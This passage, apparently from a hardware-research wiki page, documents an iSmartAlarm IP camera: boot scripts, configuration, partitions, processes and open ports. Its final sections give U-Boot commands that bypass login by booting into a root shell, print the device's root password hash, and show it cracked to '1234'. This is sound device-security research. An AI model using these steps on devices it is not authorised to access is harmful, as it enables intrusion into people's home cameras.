        /bin/bcmdl -n /usr/share/WUBB-738GN_4.2/Wi-Fi/nvram_wubb-743gn.nvm /usr/share/WUBB-738GN_4.2/Wi-Fi/cooee.bin.trx -C 10&lt;br /&gt;
        modprobe bcmdhd&lt;br /&gt;
fi&lt;br /&gt;
&lt;br /&gt;
#if [ -f /lib/modules/2.6.35.12/kernel/drivers/bcmdhd.ko ]; then&lt;br /&gt;
#       /bin/bcmdl -n /etc/WUBB-738GN_4.2/Wi-Fi/nvram_wubb-738gn.nvm /etc/WUBB-738GN_4.2/Wi-Fi/fw_bcm43143b0.bin.trx -C 10&lt;br /&gt;
#       modprobe bcmdhd&lt;br /&gt;
#fi&lt;br /&gt;
&lt;br /&gt;
#modprobe snx_pwm&lt;br /&gt;
#modprobe snx_rtc&lt;br /&gt;
#hwclock -s&lt;br /&gt;
#modprobe 8188eu&lt;br /&gt;
#modprobe ov971x&lt;br /&gt;
&lt;br /&gt;
# Start all init scripts in /etc/init.d&lt;br /&gt;
# executing them in numerical order.&lt;br /&gt;
#&lt;br /&gt;
for i in /etc/init.d/S??* ;do&lt;br /&gt;
&lt;br /&gt;
     # Ignore dangling symlinks (if any).&lt;br /&gt;
     [ ! -f &amp;quot;$i&amp;quot; ] &amp;amp;&amp;amp; continue&lt;br /&gt;
&lt;br /&gt;
     case &amp;quot;$i&amp;quot; in&lt;br /&gt;
        *.sh)&lt;br /&gt;
            # Source shell script for speed.&lt;br /&gt;
            (&lt;br /&gt;
                trap - INT QUIT TSTP&lt;br /&gt;
                set start&lt;br /&gt;
                . $i&lt;br /&gt;
            )&lt;br /&gt;
            ;;&lt;br /&gt;
        *)&lt;br /&gt;
            # No sh extension, so fork subprocess.&lt;br /&gt;
            $i start&lt;br /&gt;
            ;;&lt;br /&gt;
    esac&lt;br /&gt;
done&lt;br /&gt;
&lt;br /&gt;
# Here start our services&lt;br /&gt;
/etc/init.d/rc.local &amp;amp;&lt;br /&gt;
&lt;br /&gt;
/usr/bin/singleBoadTest/singleBoadTest&lt;br /&gt;
if [ -f /etc/iSC3S/executable ]; then&lt;br /&gt;
        /etc/iSC3S/iSC3S &amp;amp;&lt;br /&gt;
else&lt;br /&gt;
        /root/etc_default/iSC3S/iSC3S &amp;amp;&lt;br /&gt;
fi&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
# cat /etc/inittab&lt;br /&gt;
# Format for each entry: &amp;lt;id&amp;gt;:&amp;lt;runlevels&amp;gt;:&amp;lt;action&amp;gt;:&amp;lt;process&amp;gt;&lt;br /&gt;
# id        == tty to run on, or empty for /dev/console&lt;br /&gt;
# runlevels == ignored&lt;br /&gt;
# action    == one of sysinit, respawn, askfirst, wait, and once&lt;br /&gt;
# process   == program to run&lt;br /&gt;
&lt;br /&gt;
# Startup the system&lt;br /&gt;
null::sysinit:/bin/mount -o remount,rw /&lt;br /&gt;
null::sysinit:/bin/mount -a&lt;br /&gt;
# now run any rc scripts&lt;br /&gt;
::sysinit:/usr/bin/pars_diff 10&lt;br /&gt;
::sysinit:/etc/init.d/rcS&lt;br /&gt;
&lt;br /&gt;
# Put a getty on the serial port&lt;br /&gt;
ttyS0::respawn:/sbin/getty -L ttyS0 115200 vt100&lt;br /&gt;
&lt;br /&gt;
# Logging junk&lt;br /&gt;
null::sysinit:/bin/touch /var/log/messages&lt;br /&gt;
null::respawn:/sbin/syslogd -n -m 0&lt;br /&gt;
null::respawn:/sbin/klogd -n&lt;br /&gt;
&lt;br /&gt;
# Stuff to do for the 3-finger salute&lt;br /&gt;
::ctrlaltdel:/sbin/reboot&lt;br /&gt;
&lt;br /&gt;
# Stuff to do before rebooting&lt;br /&gt;
null::shutdown:/usr/bin/killall klogd&lt;br /&gt;
null::shutdown:/usr/bin/killall syslogd&lt;br /&gt;
null::shutdown:/bin/umount -a -r&lt;br /&gt;
null::shutdown:/sbin/swapoff -a&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;User configuration&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;Bash&amp;quot;&amp;gt;Wired_DNS=192.168.1.1&lt;br /&gt;
Wired_Gateway=192.168.1.1&lt;br /&gt;
Wired_Subnet=255.255.255.0&lt;br /&gt;
Wired_Mode=D&lt;br /&gt;
Wired_IP=192.168.1.68&lt;br /&gt;
Wifi_DNS=192.168.1.1&lt;br /&gt;
Wifi_Gateway=192.168.1.1&lt;br /&gt;
Wifi_Subnet=255.255.255.0&lt;br /&gt;
Wifi_IP=192.168.1.68&lt;br /&gt;
Wifi_Active=y&lt;br /&gt;
Wifi_Mode=D&lt;br /&gt;
&lt;br /&gt;
[ALARM]&lt;br /&gt;
Alarm_pir_Switch=n&lt;br /&gt;
Alarm_Audio_SmokeYXMOD=200&lt;br /&gt;
Alarm_Audio_Sensitivity=5&lt;br /&gt;
Alarm_Audio_Switch=n&lt;br /&gt;
Alarm_Motion_Region=0,0;0,0&lt;br /&gt;
Alarm_Motion_Sensitivity=5&lt;br /&gt;
Alarm_Motion_Switch=n&lt;br /&gt;
&lt;br /&gt;
[LED_CONTROL]&lt;br /&gt;
Light_Night=y&lt;br /&gt;
Light_Net=y&lt;br /&gt;
&lt;br /&gt;
[VA_PARMS]&lt;br /&gt;
Audio_Volume=1&lt;br /&gt;
Audio_Sample=8000&lt;br /&gt;
Audio_Channel=1&lt;br /&gt;
Video_OSD=n&lt;br /&gt;
Video_Sample=10&lt;br /&gt;
Video_Rate=50&lt;br /&gt;
Video_Vflip=1&lt;br /&gt;
Video_Hflip=1&lt;br /&gt;
Video_Constract=3&lt;br /&gt;
Video_Bright=1&lt;br /&gt;
Video_IPS=30&lt;br /&gt;
&lt;br /&gt;
[CAMERA_INFO]&lt;br /&gt;
Camera_Mqtt_Server=bzy.ismartalarm.com&lt;br /&gt;
Camera_Type=iSC5&lt;br /&gt;
P2p_UID=&lt;br /&gt;
Server_URL=api.ismartalarm.com&lt;br /&gt;
SW_Version=0.0.0.0&lt;br /&gt;
HW_Version=0.0.0.0&lt;br /&gt;
Config_Version=2.4.9.6&lt;br /&gt;
Device_State=up&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;Mounted filesystems (&amp;lt;code&amp;gt;df&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;fdisk&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;cat /proc/mounts&amp;lt;/code&amp;gt;)&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;syntaxhighlight lang=&amp;quot;Bash&amp;quot;&amp;gt;# cat /proc/mtd&lt;br /&gt;
dev:    size   erasesize  name&lt;br /&gt;
mtd0: 000c0000 00008000 &amp;quot;uboot&amp;quot;&lt;br /&gt;
mtd1: 00300000 00008000 &amp;quot;kernel&amp;quot;&lt;br /&gt;
mtd2: 00700000 00008000 &amp;quot;rootfs&amp;quot;&lt;br /&gt;
mtd3: 00400000 00008000 &amp;quot;rescue&amp;quot;&lt;br /&gt;
mtd4: 00100000 00008000 &amp;quot;etc&amp;quot;&lt;br /&gt;
mtd5: 00040000 00008000 &amp;quot;userconfig&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
# df&lt;br /&gt;
Filesystem           1K-blocks      Used Available Use% Mounted on&lt;br /&gt;
/dev/root                12948     12948         0 100% /&lt;br /&gt;
dev                        512         4       508   1% /dev&lt;br /&gt;
/dev/mtdblock4            1024       724       300  71% /etc&lt;br /&gt;
tmpfs                    40228        12     40216   0% /tmp&lt;br /&gt;
lock                     20112         0     20112   0% /var/lock&lt;br /&gt;
log                      20112        40     20072   0% /var/log&lt;br /&gt;
run                      20112        16     20096   0% /var/run&lt;br /&gt;
spool                    20112         0     20112   0% /var/spool&lt;br /&gt;
tmp                      20112         0     20112   0% /var/tmp&lt;br /&gt;
media                    20112         0     20112   0% /media&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
# fdisk -l&lt;br /&gt;
&lt;br /&gt;
Disk /dev/mtdblock0: 0 MB, 786432 bytes&lt;br /&gt;
255 heads, 63 sectors/track, 0 cylinders&lt;br /&gt;
Units = cylinders of 16065 * 512 = 8225280 bytes&lt;br /&gt;
&lt;br /&gt;
Disk /dev/mtdblock0 doesn&#039;t contain a valid partition table&lt;br /&gt;
&lt;br /&gt;
Disk /dev/mtdblock1: 3 MB, 3145728 bytes&lt;br /&gt;
255 heads, 63 sectors/track, 0 cylinders&lt;br /&gt;
Units = cylinders of 16065 * 512 = 8225280 bytes&lt;br /&gt;
&lt;br /&gt;
Disk /dev/mtdblock1 doesn&#039;t contain a valid partition table&lt;br /&gt;
&lt;br /&gt;
Disk /dev/mtdblock2: 7 MB, 7340032 bytes&lt;br /&gt;
255 heads, 63 sectors/track, 0 cylinders&lt;br /&gt;
Units = cylinders of 16065 * 512 = 8225280 bytes&lt;br /&gt;
&lt;br /&gt;
Disk /dev/mtdblock2 doesn&#039;t contain a valid partition table&lt;br /&gt;
&lt;br /&gt;
Disk /dev/mtdblock3: 4 MB, 4194304 bytes&lt;br /&gt;
255 heads, 63 sectors/track, 0 cylinders&lt;br /&gt;
Units = cylinders of 16065 * 512 = 8225280 bytes&lt;br /&gt;
&lt;br /&gt;
Disk /dev/mtdblock3 doesn&#039;t contain a valid partition table&lt;br /&gt;
&lt;br /&gt;
Disk /dev/mtdblock4: 1 MB, 1048576 bytes&lt;br /&gt;
255 heads, 63 sectors/track, 0 cylinders&lt;br /&gt;
Units = cylinders of 16065 * 512 = 8225280 bytes&lt;br /&gt;
&lt;br /&gt;
Disk /dev/mtdblock4 doesn&#039;t contain a valid partition table&lt;br /&gt;
&lt;br /&gt;
Disk /dev/mtdblock5: 0 MB, 262144 bytes&lt;br /&gt;
255 heads, 63 sectors/track, 0 cylinders&lt;br /&gt;
Units = cylinders of 16065 * 512 = 8225280 bytes&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
# cat /proc/mounts&lt;br /&gt;
rootfs / rootfs rw 0 0&lt;br /&gt;
/dev/root / cramfs ro,relatime 0 0&lt;br /&gt;
none /proc proc rw,relatime 0 0&lt;br /&gt;
none /sys sysfs rw,relatime 0 0&lt;br /&gt;
none /proc/bus/usb usbfs rw,relatime 0 0&lt;br /&gt;
dev /dev tmpfs rw,relatime,size=512k,mode=755 0 0&lt;br /&gt;
devpts /dev/pts devpts rw,relatime,mode=600 0 0&lt;br /&gt;
/dev/mtdblock4 /etc jffs2 rw,relatime 0 0&lt;br /&gt;
tmpfs /tmp tmpfs rw,relatime,size=40228k 0 0&lt;br /&gt;
lock /var/lock tmpfs rw,relatime 0 0&lt;br /&gt;
log /var/log tmpfs rw,relatime 0 0&lt;br /&gt;
run /var/run tmpfs rw,relatime 0 0&lt;br /&gt;
spool /var/spool tmpfs rw,relatime 0 0&lt;br /&gt;
tmp /var/tmp tmpfs rw,relatime 0 0&lt;br /&gt;
media /media tmpfs rw,relatime 0 0&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;Running processes (&amp;lt;code&amp;gt;ps&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;top&amp;lt;/code&amp;gt;)&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;Bash&amp;quot;&amp;gt;  PID USER       VSZ STAT COMMAND&lt;br /&gt;
  PID USER       VSZ STAT COMMAND&lt;br /&gt;
    1 root      1164 S    init&lt;br /&gt;
    2 root         0 SW   [kthreadd]&lt;br /&gt;
    3 root         0 SW   [ksoftirqd/0]&lt;br /&gt;
    4 root         0 SW   [events/0]&lt;br /&gt;
    5 root         0 SW   [khelper]&lt;br /&gt;
    8 root         0 SW   [async/mgr]&lt;br /&gt;
  183 root         0 SW   [sync_supers]&lt;br /&gt;
  185 root         0 SW   [bdi-default]&lt;br /&gt;
  187 root         0 SW   [kblockd/0]&lt;br /&gt;
  197 root         0 SW   [khubd]&lt;br /&gt;
  200 root         0 SW   [kseriod]&lt;br /&gt;
  205 root         0 SW   [kmmcd]&lt;br /&gt;
  215 root         0 SW   [cfg80211]&lt;br /&gt;
  236 root         0 SW   [rpciod/0]&lt;br /&gt;
  243 root         0 SW   [khungtaskd]&lt;br /&gt;
  244 root         0 SW   [kswapd0]&lt;br /&gt;
  290 root         0 SW   [aio/0]&lt;br /&gt;
  297 root         0 SW   [nfsiod]&lt;br /&gt;
  306 root         0 SW   [crypto/0]&lt;br /&gt;
  375 root         0 SW   [mtdblock0]&lt;br /&gt;
  380 root         0 SW   [mtdblock1]&lt;br /&gt;
  385 root         0 SW   [mtdblock2]&lt;br /&gt;
  390 root         0 SW   [mtdblock3]&lt;br /&gt;
  395 root         0 SW   [mtdblock4]&lt;br /&gt;
  400 root         0 SW   [mtdblock5]&lt;br /&gt;
  405 root         0 SW   [snx-spi.0]&lt;br /&gt;
  418 root         0 SW   [zd1211rw]&lt;br /&gt;
  467 root         0 SW   [usbhid_resumer]&lt;br /&gt;
  501 root         0 SWN  [jffs2_gcd_mtd4]&lt;br /&gt;
  561 root         0 SW   [isp]&lt;br /&gt;
  564 root         0 SW   [flush-31:1]&lt;br /&gt;
  591 root         0 SW   [iscan_sysioc]&lt;br /&gt;
  592 root         0 SW   [dhd_sysioc]&lt;br /&gt;
  594 root         0 SW   [usb-thread]&lt;br /&gt;
  601 root      9964 S    /root/etc_default/iSC3S/iSC3S&lt;br /&gt;
  603 root      1160 S    -sh&lt;br /&gt;
  604 root      1152 S    /sbin/syslogd -n -m 0&lt;br /&gt;
  605 root      1148 S    /sbin/klogd -n&lt;br /&gt;
  606 root     58716 S    /root/etc_default/iSC3S/iSC3S&lt;br /&gt;
  608 root      2728 S    /usr/bin/test_UP/test_UP&lt;br /&gt;
  670 root      2608 S    wpa_supplicant -Dwext -iwlan0 -c/tmp/wpa_supplicant.&lt;br /&gt;
  680 root      1156 S    udhcpc -i wlan0 -p /var/run/udhcpc.pid -b&lt;br /&gt;
  685 root      1152 R    ps&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Mem: 30252K used, 9976K free, 0K shrd, 4816K buff, 9624K cached&lt;br /&gt;
CPU: 16.6% usr  0.0% sys  0.0% nic 83.3% idle  0.0% io  0.0% irq  0.0% sirq&lt;br /&gt;
Load average: 1.71 0.46 0.16 1/73 683&lt;br /&gt;
  PID  PPID USER     STAT   VSZ %VSZ %CPU COMMAND&lt;br /&gt;
  606   601 root     S    58716145.5  9.9 /root/etc_default/iSC3S/iSC3S&lt;br /&gt;
  683   603 root     R     1156  2.8  6.6 top&lt;br /&gt;
  601     1 root     S     9964 24.6  0.0 /root/etc_default/iSC3S/iSC3S&lt;br /&gt;
  608     1 root     S     2728  6.7  0.0 /usr/bin/test_UP/test_UP&lt;br /&gt;
  670     1 root     S     2608  6.4  0.0 wpa_supplicant -Dwext -iwlan0 -c/tmp/w&lt;br /&gt;
    1     0 root     S     1164  2.8  0.0 init&lt;br /&gt;
  603     1 root     S     1160  2.8  0.0 -sh&lt;br /&gt;
  680     1 root     S     1156  2.8  0.0 udhcpc -i wlan0 -p /var/run/udhcpc.pid&lt;br /&gt;
  604     1 root     S     1152  2.8  0.0 /sbin/syslogd -n -m 0&lt;br /&gt;
  605     1 root     S     1148  2.8  0.0 /sbin/klogd -n&lt;br /&gt;
  385     2 root     SW       0  0.0  0.0 [mtdblock2]&lt;br /&gt;
  380     2 root     SW       0  0.0  0.0 [mtdblock1]&lt;br /&gt;
  501     2 root     SWN      0  0.0  0.0 [jffs2_gcd_mtd4]&lt;br /&gt;
  197     2 root     SW       0  0.0  0.0 [khubd]&lt;br /&gt;
  561     2 root     SW       0  0.0  0.0 [isp]&lt;br /&gt;
    5     2 root     SW       0  0.0  0.0 [khelper]&lt;br /&gt;
  205     2 root     SW       0  0.0  0.0 [kmmcd]&lt;br /&gt;
  594     2 root     SW       0  0.0  0.0 [usb-thread]&lt;br /&gt;
    8     2 root     SW       0  0.0  0.0 [async/mgr]&lt;br /&gt;
  183     2 root     SW       0  0.0  0.0 [sync_supers]&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;Interface Configuration (&amp;lt;code&amp;gt;ifconfig&amp;lt;/code&amp;gt;)&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;Bash&amp;quot;&amp;gt;wlan0     Link encap:Ethernet  HWaddr 00:4D:32:09:B7:2E&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;Wireless Intercafe Configuration (&amp;lt;code&amp;gt;iwconfig&amp;lt;/code&amp;gt;)&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;Bash&amp;quot;&amp;gt;&lt;br /&gt;
lo        no wireless extensions.&lt;br /&gt;
eth0      no wireless extensions.&lt;br /&gt;
tunl0     no wireless extensions.&lt;br /&gt;
gre0      no wireless extensions.&lt;br /&gt;
sit0      no wireless extensions.&lt;br /&gt;
ip6tnl0   no wireless extensions.&lt;br /&gt;
&lt;br /&gt;
wlan0     IEEE 802.11  ESSID:&amp;quot;&amp;quot;  Nickname:&amp;quot;&amp;quot;&lt;br /&gt;
          Mode:Managed  Frequency:2.412 GHz  Access Point: Not-Associated&lt;br /&gt;
          Bit Rate:72 Mb/s   Tx-Power:32 dBm&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;Open Ports (&amp;lt;code&amp;gt;cat /proc/net/tcp&amp;lt;/code&amp;gt;)&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;  sl  local_address rem_address   st tx_queue rx_queue tr tm-&amp;gt;when retrnsmt uid timeout inode&lt;br /&gt;
   0: 00000000:5722 00000000:0000 0A 00000000:00000000 00:00000000 00000000   0   0 186 1 c3698000 300 0 0 2 -1&lt;br /&gt;
   1: 00000000:5749 00000000:0000 0A 00000000:00000000 00:00000000 00000000   0   0 382 1 c3698440 300 0 0 2 -1&lt;br /&gt;
   2: 00000000:2712 00000000:0000 0A 00000000:00000000 00:00000000 00000000   0   0 386 1 c3698880 300 0 0 2 -1&lt;br /&gt;
&lt;br /&gt;
/* Resolved&lt;br /&gt;
  sl  local_address rem_address&lt;br /&gt;
   0: 0.0.0.0:22306 0.0.0.0&lt;br /&gt;
   1: 0.0.0.0:22345 0.0.0.0&lt;br /&gt;
   2: 0.0.0.0:10002 0.0.0.0*/&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;Authentication Bypass&amp;lt;/h3&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify;&amp;quot;&amp;gt;Eventhough the root password (&amp;lt;code&amp;gt;1234&amp;lt;/code&amp;gt;) could easily be guessed (what I failed to achieve), the authentication could also be bypassed by modifing the &amp;lt;code&amp;gt;cmdline&amp;lt;/code&amp;gt; parameters passed to the Linux Kernel when booting. Here, the &amp;lt;code&amp;gt;init&amp;lt;/code&amp;gt; parameter will be changed to &amp;lt;code&amp;gt;/bin/sh&amp;lt;/code&amp;gt; to bypass the initialisation process and starts a shell with UID 0 instead. To do this, access the bootloader and execute the following commands:&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Show the bootargs&lt;br /&gt;
printenv&lt;br /&gt;
# bootargs=console=ttyS0,115200 root=/dev/mtdblock2 init=/linuxrc mem=64M isp=7M vc=12M vo=0M mtdparts=snx-spi:768k(uboot),3M(kernel),7M(rootfs),4M(rescue),1M(etc),256K(userconfig)&lt;br /&gt;
&lt;br /&gt;
# Change the init parameter&lt;br /&gt;
setenv bootargs console=ttyS0,115200 root=/dev/mtdblock2 init=/bin/sh mem=64M isp=7M vc=12M vo=0M mtdparts=snx-spi:768k(uboot),3M(kernel),7M(rootfs),4M(rescue),1M(etc),256K(userconfig)&lt;br /&gt;
&lt;br /&gt;
# Persists Configuration&lt;br /&gt;
saveenv&lt;br /&gt;
# Boot the default image&lt;br /&gt;
boot&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;Root Password Acquisition&amp;lt;/h3&amp;gt;&lt;br /&gt;
This section is based on the previous one. After booting the devices with the modified &amp;lt;code&amp;gt;cmdline&amp;lt;/code&amp;gt; passed to the Linux Kernel, one is presented with a shell. Not all devices have been initialized neither all filesystems have been mounted, including the etc directory. Parts of the &amp;lt;code&amp;gt;/linuxrc&amp;lt;/code&amp;gt; code can be manually executed to set the system up as far as needed at this step. In order to grab the root digest, none of this is necessary, since the default config is stored in &amp;lt;code&amp;gt;/root/etc_default&amp;lt;/code&amp;gt;, which &amp;lt;code&amp;gt;/linuxrc&amp;lt;/code&amp;gt; would copy to the &amp;lt;code&amp;gt;/etc&amp;lt;/code&amp;gt; directory.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;code&amp;gt;/linuxrc&amp;lt;/code&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;echo &amp;quot;Create device file&amp;quot;&lt;br /&gt;
/bin/mount -t proc none /proc&lt;br /&gt;
/bin/mount -t sysfs none /sys&lt;br /&gt;
/bin/mount -t usbfs none /proc/bus/usb&lt;br /&gt;
/bin/mount -t tmpfs -o size=512k,mode=0755 dev /dev&lt;br /&gt;
/bin/mkdir /dev/pts&lt;br /&gt;
/bin/mkdir /dev/shm&lt;br /&gt;
/bin/mount -t devpts devpts  /dev/pts&lt;br /&gt;
/bin/echo /sbin/mdev &amp;gt; /proc/sys/kernel/hotplug&lt;br /&gt;
/sbin/mdev -s&lt;br /&gt;
&lt;br /&gt;
#add for mount /dev/mtdblock4&lt;br /&gt;
/bin/mount -t jffs2 /dev/mtdblock4 /etc&lt;br /&gt;
if [ $? -ne 0 ]; then&lt;br /&gt;
        echo &amp;quot;Clean up the old data in the &#039;etc&#039; partition.&amp;quot;&lt;br /&gt;
        /usr/sbin/flash_eraseall -j -q /dev/mtd4&lt;br /&gt;
        /bin/mount -t jffs2 /dev/mtdblock4 /etc&lt;br /&gt;
fi&lt;br /&gt;
if [ ! -x /etc/init.d/rcS ]; then&lt;br /&gt;
        echo &amp;quot;The system run for the first time.&amp;quot;&lt;br /&gt;
        echo &amp;quot;Please wait for initialization...&amp;quot;&lt;br /&gt;
        /bin/rm -rf /etc/*&lt;br /&gt;
        cp -a /root/etc_default/* /etc&lt;br /&gt;
        /bin/fsync&lt;br /&gt;
fi&lt;br /&gt;
#Create mdev&lt;br /&gt;
/bin/echo /sbin/mdev &amp;gt; /proc/sys/kernel/hotplug&lt;br /&gt;
/sbin/mdev -s&lt;br /&gt;
#add nvram inode&lt;br /&gt;
/sbin/modprobe snx_crypto&lt;br /&gt;
/sbin/modprobe snx_nvram&lt;br /&gt;
/bin/mknod /dev/nvram c 251 0&lt;br /&gt;
exec /sbin/init&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;code&amp;gt;shadow&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;passwd&amp;lt;/code&amp;gt; file is located under &amp;lt;code&amp;gt;/root/etc_default/&amp;lt;/code&amp;gt;. Note that there is another user called &amp;lt;code&amp;gt;default&amp;lt;/code&amp;gt;, who requires no password to login. The root password can be cracked using john the ripper on another PC as seen below.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# unshadow passwd shadow &lt;br /&gt;
root:$1$2368HyEJ$kwdhYsA4j0BOLLvdohThM1:0:0:root:/root:/bin/sh&lt;br /&gt;
daemon:*:1:1:daemon:/usr/sbin:/bin/sh&lt;br /&gt;
bin:*:2:2:bin:/bin:/bin/sh&lt;br /&gt;
sys:x:3:3:sys:/dev:/bin/sh&lt;br /&gt;
sync:*:4:100:sync:/bin:/bin/sync&lt;br /&gt;
mail:x:8:8:mail:/var/spool/mail:/bin/sh&lt;br /&gt;
proxy:x:13:13:proxy:/bin:/bin/sh&lt;br /&gt;
www-data:x:33:33:www-data:/var/www:/bin/sh&lt;br /&gt;
backup:x:34:34:backup:/var/backups:/bin/sh&lt;br /&gt;
operator:*:37:37:Operator:/var:/bin/sh&lt;br /&gt;
sshd:x:103:99:Operator:/var:/bin/sh&lt;br /&gt;
nobody:*:99:99:nobody:/home:/bin/sh&lt;br /&gt;
default::1000:1000:Default non-root user:/home/default:/bin/sh&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# john hash.txt Wordlists/Tiny/10_million_password_list_top_100000.txt&lt;br /&gt;
Loaded 1 password hash (md5crypt, crypt(3) $1$ [MD5 256/256 AVX2 8x3])&lt;br /&gt;
1234             (root)&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify;&amp;quot;&amp;gt;Once priviledged access has been acquired, the changes made to the U-Boot booloader should be reverted, to make the device start as intended.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
